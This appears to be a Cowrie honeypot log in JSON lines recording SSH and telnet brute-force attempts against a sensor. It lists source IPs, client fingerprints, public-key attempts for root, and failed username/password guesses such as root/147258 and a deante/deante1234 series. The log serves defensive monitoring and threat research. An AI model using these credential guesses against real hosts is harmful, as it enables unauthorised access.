{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:46:40.473830Z","src_ip":"103.15.226.202","session":"ccf19f867295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:46:41.206877Z","src_ip":"103.15.226.202","session":"ccf19f867295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:46:42.453555Z","src_ip":"103.15.226.202","session":"ccf19f867295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.133.151.104","src_port":51548,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fe8f1ab6563","protocol":"telnet","message":"New connection: 190.133.151.104:51548 (10.17.0.5:23) [session: 0fe8f1ab6563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:47:04.340675Z"}
{"eventid":"cowrie.session.closed","duration":11.763596773147583,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:47:16.104088Z","src_ip":"190.133.151.104","session":"0fe8f1ab6563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01610231399536,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:47:33.087632Z","src_ip":"212.55.149.117","session":"933d4cdd537e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":9774,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b6cf045f071","protocol":"ssh","message":"New connection: 213.209.159.56:9774 (10.17.0.5:22) [session: 2b6cf045f071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:13.792594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:13.866937Z","src_ip":"213.209.159.56","session":"2b6cf045f071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:13.945375Z","src_ip":"213.209.159.56","session":"2b6cf045f071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante","message":"login attempt [deante/deante] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:14.302926Z","src_ip":"213.209.159.56","session":"2b6cf045f071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante1","message":"login attempt [deante/deante1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:15.388553Z","src_ip":"213.209.159.56","session":"2b6cf045f071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante123","message":"login attempt [deante/deante123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:16.476137Z","src_ip":"213.209.159.56","session":"2b6cf045f071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante1234","message":"login attempt [deante/deante1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:17.562349Z","src_ip":"213.209.159.56","session":"2b6cf045f071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deante","password":"deante12345","message":"login attempt [deante/deante12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:18.647887Z","src_ip":"213.209.159.56","session":"2b6cf045f071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:19.766969Z","src_ip":"213.209.159.56","session":"2b6cf045f071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":24195,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fe5a13d11ee","protocol":"ssh","message":"New connection: 113.190.252.123:24195 (159.203.135.109:22) [session: 1fe5a13d11ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:30.417134Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:30.952196Z","src_ip":"113.190.252.123","session":"1fe5a13d11ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":24262,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c4c6a2200bf","protocol":"ssh","message":"New connection: 113.190.252.123:24262 (159.203.135.109:22) [session: 7c4c6a2200bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:31.484350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:31.492368Z","src_ip":"113.190.252.123","session":"7c4c6a2200bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:32.020526Z","src_ip":"113.190.252.123","session":"7c4c6a2200bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r@@t","message":"login attempt [root/r@@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:33.687201Z","src_ip":"113.190.252.123","session":"7c4c6a2200bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:49:35.238543Z","src_ip":"113.190.252.123","session":"7c4c6a2200bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46930,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a1e62e55148","protocol":"ssh","message":"New connection: 103.15.226.202:46930 (10.17.0.5:22) [session: 4a1e62e55148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:50:14.099668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:50:14.108560Z","src_ip":"103.15.226.202","session":"4a1e62e55148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:50:14.381565Z","src_ip":"103.15.226.202","session":"4a1e62e55148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:50:15.184788Z","src_ip":"103.15.226.202","session":"4a1e62e55148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:50:16.448681Z","src_ip":"103.15.226.202","session":"4a1e62e55148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.28","src_port":57572,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ddeacd257d","protocol":"ssh","message":"New connection: 154.16.180.28:57572 (10.17.0.5:22) [session: 78ddeacd257d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:30.448893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:30.455022Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:30.543736Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:2f:fb:aa:f0:f8:ec:a0:29:95:cb:a3:90:17:3e:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN3nwzUFPCUKMMQPxQzaVLninIEY+V3mUx20HFSHbBwVoUmjDMItMJ5a/I4EGZoBKlEACjXNZZqM1zr+9Kzb/nMKRwrA48Eouyail/yTcOiYdHbmM2mWe6HmTngIHreu8DIaDoQvOCvxzEwEQOICWECBMNyVHLjpN59U1xp/64N0DtUs9FsUj5Usj21GEbx+g/UyDt5w+WGmQdXBHYZXF8LjVBgc5En7yFws5DW4UIn71HovZP9+ETCqC/VKoiLat8nvOzXWY8r9KajgYSKRMwuw8GXNhyWwRugTVLqhLmWm9xyKIdXc3rYVLaunsr7chuZ/34g4j3+0QFSU/g5JKN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:2f:fb:aa:f0:f8:ec:a0:29:95:cb:a3:90:17:3e:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:30.958770Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:2f:fb:aa:f0:f8:ec:a0:29:95:cb:a3:90:17:3e:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN3nwzUFPCUKMMQPxQzaVLninIEY+V3mUx20HFSHbBwVoUmjDMItMJ5a/I4EGZoBKlEACjXNZZqM1zr+9Kzb/nMKRwrA48Eouyail/yTcOiYdHbmM2mWe6HmTngIHreu8DIaDoQvOCvxzEwEQOICWECBMNyVHLjpN59U1xp/64N0DtUs9FsUj5Usj21GEbx+g/UyDt5w+WGmQdXBHYZXF8LjVBgc5En7yFws5DW4UIn71HovZP9+ETCqC/VKoiLat8nvOzXWY8r9KajgYSKRMwuw8GXNhyWwRugTVLqhLmWm9xyKIdXc3rYVLaunsr7chuZ/34g4j3+0QFSU/g5JKN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:30.963062Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:18:10:06:37:89:88:09:b1:7f:5e:89:e8:03:c2:56","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF9AbTPjuIMeXyYYcG5hL9DdLiFJCBw+8K5E2AVRSSsX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8f:18:10:06:37:89:88:09:b1:7f:5e:89:e8:03:c2:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.052490Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:18:10:06:37:89:88:09:b1:7f:5e:89:e8:03:c2:56","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF9AbTPjuIMeXyYYcG5hL9DdLiFJCBw+8K5E2AVRSSsX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.056653Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:1c:d6:b2:51:2c:6d:36:55:05:21:bd:4c:02:6b:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJvANDuJWr/p3hBGS8l7fTz/NgWNwyKs/wsnrZCGiKVg52TasxLQ64LFvQMC7W8zmg01AZ79nCUJLOYn11/Dp9Ph7H+B5Y/aF7VdwwdPyC5EaHKP+/n2itDAaQ1ptXdbUKQtqbCgdYXTaW4dG5btYerN67lg7SyQ3Cco6tlBW6kCGtPdpQvT4tWxTgJdog1nr/q+0jK+EBcWk8US+fSlvI0I3rfdsvbm8KrxKIV5h3OB+6kJ/EkruFjG+md7hc5O3MDLnDYYkfuYbqeQ2HNTWQRSMkqHgUhNemZBTPPcr53FXLA6+hm+Ag0K/+k54BHbzFeu4rqAkx9+M1Ll8axjAL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:1c:d6:b2:51:2c:6d:36:55:05:21:bd:4c:02:6b:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.145408Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:1c:d6:b2:51:2c:6d:36:55:05:21:bd:4c:02:6b:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJvANDuJWr/p3hBGS8l7fTz/NgWNwyKs/wsnrZCGiKVg52TasxLQ64LFvQMC7W8zmg01AZ79nCUJLOYn11/Dp9Ph7H+B5Y/aF7VdwwdPyC5EaHKP+/n2itDAaQ1ptXdbUKQtqbCgdYXTaW4dG5btYerN67lg7SyQ3Cco6tlBW6kCGtPdpQvT4tWxTgJdog1nr/q+0jK+EBcWk8US+fSlvI0I3rfdsvbm8KrxKIV5h3OB+6kJ/EkruFjG+md7hc5O3MDLnDYYkfuYbqeQ2HNTWQRSMkqHgUhNemZBTPPcr53FXLA6+hm+Ag0K/+k54BHbzFeu4rqAkx9+M1Ll8axjAL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.152104Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:20:ee:f9:a1:ca:f7:1a:d4:ca:55:7a:54:c7:7b:a7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJKtDouiG2LcmjDdFPFn44RgIvxp7AaVEroExNWdKFsR5ly68t70H15hQ+pvCK1B1DPvNhRZU3S0ocxcOj3XRwhQ5PBRuThnawnuHTo8U6s8mvsQ9Gscs2g7cX/cD03Vp3u3q5RODsdJ32l3KlGQcdCR/J714E3QM9lwSOCrMC2nAAAAFQC5Fn9HtUEwQaHyANP5zLYT/GqCKwAAAIBO68Nh3T20MzYUqtP8AUOpadGi39kbfScYFLCkapHoJ6rC9gQDO6ARND41L/X8pUuhMid9N6Bh7Ndqd/EPG58lWBobwNYhOGxFaltuniGuMRnmZtwii8Iz6qS8AATm2hOpVSYGaCnP80TxJKNjajeQX/vHQsMgqOw5O3v9fC5ROgAAAIEAhjg7Ix1vOvl/1JYildoEXCgaCX6bstTzKa13w7pXTHALjFeIlCDo00T/uw4DT5qJaAdrKilk9BYY9jTB9OrhEm+fl6y1JyStSSkrujCMk4JFVM4SLuYgTLZht+VZEP2Rl8wJiHy0U7iv2DVm9euuKmO6lLOMe7e43BH9IoVaN5g=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 99:20:ee:f9:a1:ca:f7:1a:d4:ca:55:7a:54:c7:7b:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.240746Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:20:ee:f9:a1:ca:f7:1a:d4:ca:55:7a:54:c7:7b:a7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJKtDouiG2LcmjDdFPFn44RgIvxp7AaVEroExNWdKFsR5ly68t70H15hQ+pvCK1B1DPvNhRZU3S0ocxcOj3XRwhQ5PBRuThnawnuHTo8U6s8mvsQ9Gscs2g7cX/cD03Vp3u3q5RODsdJ32l3KlGQcdCR/J714E3QM9lwSOCrMC2nAAAAFQC5Fn9HtUEwQaHyANP5zLYT/GqCKwAAAIBO68Nh3T20MzYUqtP8AUOpadGi39kbfScYFLCkapHoJ6rC9gQDO6ARND41L/X8pUuhMid9N6Bh7Ndqd/EPG58lWBobwNYhOGxFaltuniGuMRnmZtwii8Iz6qS8AATm2hOpVSYGaCnP80TxJKNjajeQX/vHQsMgqOw5O3v9fC5ROgAAAIEAhjg7Ix1vOvl/1JYildoEXCgaCX6bstTzKa13w7pXTHALjFeIlCDo00T/uw4DT5qJaAdrKilk9BYY9jTB9OrhEm+fl6y1JyStSSkrujCMk4JFVM4SLuYgTLZht+VZEP2Rl8wJiHy0U7iv2DVm9euuKmO6lLOMe7e43BH9IoVaN5g=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:53:31.244876Z","src_ip":"154.16.180.28","session":"78ddeacd257d","protocol":"ssh"}
